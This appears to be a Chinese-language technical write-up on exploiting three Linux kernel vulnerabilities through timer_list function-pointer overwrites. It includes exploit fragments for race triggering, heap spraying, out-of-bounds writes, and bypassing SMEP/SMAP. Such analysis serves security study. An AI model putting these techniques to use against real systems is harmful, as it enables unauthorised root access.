Linux内核漏洞利用:timer_list结构体的使用与分析
前言
本文详细分析Linux内核中与网络协议相关的三个漏洞(CVE-2016-8655、CVE-2017-6074和CVE-2017-7308),这些漏洞的利用都采用了覆盖timer_list结构体中函数指针的方法。我们将深入探讨这些漏洞的原理和利用技术。
timer_list结构体
Linux内核使用timer_list结构体作为定时器:
struct timer_list {
struct hlist_node entry; // 定时器链表的入口
unsigned long expires; // 定时器到期时间
void (*function)(unsigned long); // 定时器处理函数
unsigned long data; // 传给定时器处理函数的参数
u32 flags;
int slack;
#ifdef CONFIG_TIMER_STATS
int start_pid;
void *start_site;
char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
关键成员:
entry: 定时器链表的入口expires: 定时器到期时间function: 定时器处理函数,到期时执行data: 传递给处理函数的参数
内核调试方法
常用的内核调试方法:
- 自己编译内核使用qemu+busybox调试
- 使用virtualbox/vmware搭建两台虚拟机用串口通信调试
- 使用vmware提供的gdb stub调试(需要物理机也是Linux系统)
CVE-2016-8655分析
漏洞原理
packet_set_ring函数在创建ringbuffer时,如果packet版本为TPACKET_V3会初始化定时器:
case TPACKET_V3:
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
调用链:packet_set_ring() → init_prb_bdqc() → prb_setup_retire_blk_timer() → prb_init_blk_timer() → init_timer()
关闭socket时会再次调用packet_set_ring函数,如果packet版本大于TPACKET_V2,内核会注销定时器:
if (closing && (po->tp_version > TPACKET_V2)) {
if (!tx_ring)
prb_shutdown_retire_blk_timer(po, rb_queue);
}
调用链:packet_set_ring() → prb_shutdown_retire_blk_timer() → prb_del_retire_blk_timer() → del_timer_sync() → del_timer()
漏洞点:如果在这段时间内其他线程调用setsockopt将packet设为TPACKET_V1,前面初始化的定时器不会被注销,导致UAF。
漏洞利用
- 触发UAF:通过线程竞争设置TPACKET_V1和TPACKET_V3版本
void *vers_switcher(void *arg) {
int val, x, y;
while (barrier) {}
while (1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if (x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if (x != 0) break;
y++;
}
return NULL;
}
- 堆喷射:使用
add_key函数覆盖timer_list结构体
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void) {
while (1)
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE-24, -2);
}
user_key_payload结构体:
struct user_key_payload {
struct rcu_head rcu;
unsigned short datalen; // 0x10
char data[0]; // 0x12
};
- 利用过程:
- 第一次触发:调用
set_memory_rw将vsyscall页设置为可写 - 修改vsyscall页内容为构造的
ctl_table结构体数据 - 第二次触发:调用
register_sysctl_table注册构造的ctl_table - 修改
/proc/sys/hack为当前程序路径 - 调用socket触发
modprobe_path执行
- 第一次触发:调用
CVE-2017-6074分析
漏洞原理
在dccp_rcv_state_process函数中,如果dccp_v6_conn_request成功返回会强制释放skb:
if (sk->sk_state == DCCP_LISTEN) {
if (dh->dccph_type == DCCP_PKT_REQUEST) {
if (inet_csk(sk)->icsk_af_ops->conn_request(sk, skb) < 0)
return 1;
goto discard;
}
...
discard:
__kfree_skb(skb);
}
但如果socket设置了IPV6_RECVPKTINFO,skb会被保存到ireq->pktopts且引用计数+1:
if (ipv6_opt_accepted(sk, skb, IP6CB(skb)) ||
np->rxopt.bits.rxinfo || np->rxopt.bits.rxoinfo ||
np->rxopt.bits.rxhlim || np->rxopt.bits.rxohlim) {
atomic_inc(&skb->users);
ireq->pktopts = skb;
}
漏洞点:dccp_rcv_state_process仍然会释放skb,导致UAF。
漏洞利用
- 覆盖
timer_list结构体中的function为native_write_cr4禁用SMEP/SMAP - 覆盖
skb_shared_info结构体中的函数指针,在释放skb时执行用户态提权函数
CVE-2017-7308分析
漏洞原理
packet_set_ring函数中存在整数溢出:
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size - BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
goto out;
绕过检查的例子:
req->tp_block_size= 4096 (0x1000)req_u->req3.tp_sizeof_priv= (1 << 31) + 4096 (0x80001000)BLK_PLUS_PRIV(B)= (1 << 31) + 4096 + 48 = 0x80001030A - BLK_PLUS_PRIV(B)= 0x1000 - 0x80001030 = 0x7fffffd0- (int)0x7fffffd0 = 0x7fffffd0 > 0
漏洞利用
- 堆布局准备:
- 分配许多2048字节对象填充kmalloc-2048缓存
- 分配许多0x8000字节页面内存块耗尽buddy分配器
#define KMALLOC_PAD 512
kmalloc_pad(KMALLOC_PAD);
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
- 创建环形缓冲区:
- 创建具有两个0x8000内存块的环形缓冲区
- 第一个内存块会被关闭,第二个会被覆盖
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + (maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u << 31) + (1u << 30) + 0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
- 触发漏洞:
- 覆盖
timer_list结构体中的函数指针 - 覆盖
packet_sock->xmit函数指针
- 覆盖
void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8); // B78
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
总结
本文分析的三个Linux内核漏洞都利用了覆盖packet_sock结构体中的timer_list结构体函数指针的方法实现提权。相比常见的stack pivot+ROP链方法,这种方法能同时禁用SMEP和SMAP,具有更好的稳定性。
关键点总结
timer_list结构体中的function指针是关键攻击目标- 通过UAF漏洞实现对
timer_list结构体的控制 - 利用堆喷射技术精确覆盖目标结构体
- 通过修改关键函数指针(如
native_write_cr4)绕过保护机制 - 精心设计堆布局确保漏洞利用的可靠性